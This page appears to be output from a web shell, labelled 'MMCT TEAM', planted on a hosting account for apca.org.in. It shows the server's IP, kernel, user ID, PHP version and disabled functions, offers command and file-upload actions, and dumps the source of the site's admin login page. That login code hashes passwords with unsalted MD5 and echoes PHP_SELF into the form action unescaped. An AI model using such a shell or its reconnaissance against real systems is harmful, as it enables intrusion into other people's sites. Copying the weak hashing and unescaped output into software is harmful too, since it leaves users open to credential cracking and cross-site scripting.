MMCT TEAM
Server IP : 2a02:4780:11:767:0:2c41:85d9:6  /  Your IP : 216.73.217.91
Web Server : LiteSpeed
System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u742491609 ( 742491609)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u742491609/domains/apca.org.in/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u742491609/domains/apca.org.in/public_html/admin/index.php
<?php
session_start();
include("connection.php"); // Include the PDO connection

// Check if the user is already logged in
if (isset($_SESSION["email"])) {
    header("Location: dashboard.php"); // Redirect if already logged in
    exit();
}

if (isset($_POST['login'])) {
    // Capture the input
    $email = $_POST['email'];
    $password = $_POST['password'];
    
    // Prepare the SQL statement using PDO
    $stmt = $pdo->prepare("SELECT * FROM `user` WHERE `email` = :email AND `password` = :password");
    
    // Execute the prepared statement with the user inputs
    $stmt->execute([
        ':email' => $email,
        ':password' => md5($password) // Encrypt password using md5 as in your original code
    ]);
    
    // Fetch the user details
    $row = $stmt->fetch(PDO::FETCH_ASSOC);
    
    if ($row) {  // If a user is found
        // Store the user details in session
        $_SESSION['email'] = $row['email'];
        $_SESSION['username'] = $row['username'];
        
        // Redirect to the dashboard
        header("Location: dashboard.php");
        exit();
    } else {
        // Show an error message if login fails
        echo "<p class='text-danger'>Invalid Email / Password! Please Try Again!</p>";
    }
}
?>


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0">
    <title>APCA | Login</title>
    <link rel="shortcut icon" type="image/x-icon" href="assets/images/favicon.png">
    <!--<link rel="shortcut icon" href="assets/img/favicon.png">-->
    <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Poppins:wght@0,500;0,600;0,700;1,400&amp;display=swap">
    <link rel="stylesheet" href="assets/plugins/bootstrap/css/bootstrap.min.css">
    <link rel="stylesheet" href="assets/plugins/fontawesome/css/fontawesome.min.css">
    <link rel="stylesheet" href="assets/plugins/fontawesome/css/all.min.css">
    <link rel="stylesheet" href="assets/css/style.css">
</head>
<body>
<div class="main-wrapper login-body">
    <div class="login-wrapper">
        <div class="container">
            <div class="loginbox">
                <div class="login-left" style="background:#0E70AF">
                    <img class="img-fluid" src="../assets/images/logo/logo8.png" alt="Logo">
                </div>
                <div class="login-right">
                    <div class="login-right-wrap">
                        <h1>Login</h1>
                        <p class="account-subtitle">Access to our dashboard</p>
                        <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
                            <div class="form-group">
                                <input class="form-control" name="email" type="email" placeholder="Email">
                            </div>
                            <div class="form-group">
                                <input class="form-control" name="password" type="password" placeholder="Password">
                            </div>
                            <div class="form-group">
                                <button class="btn btn-primary btn-block" name="login" type="submit">Login</button>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

<script src="assets/js/jquery-3.6.0.min.js"></script>
<script src="assets/plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="assets/js/script.js"></script>
</body>
</html>

MMCT - 2023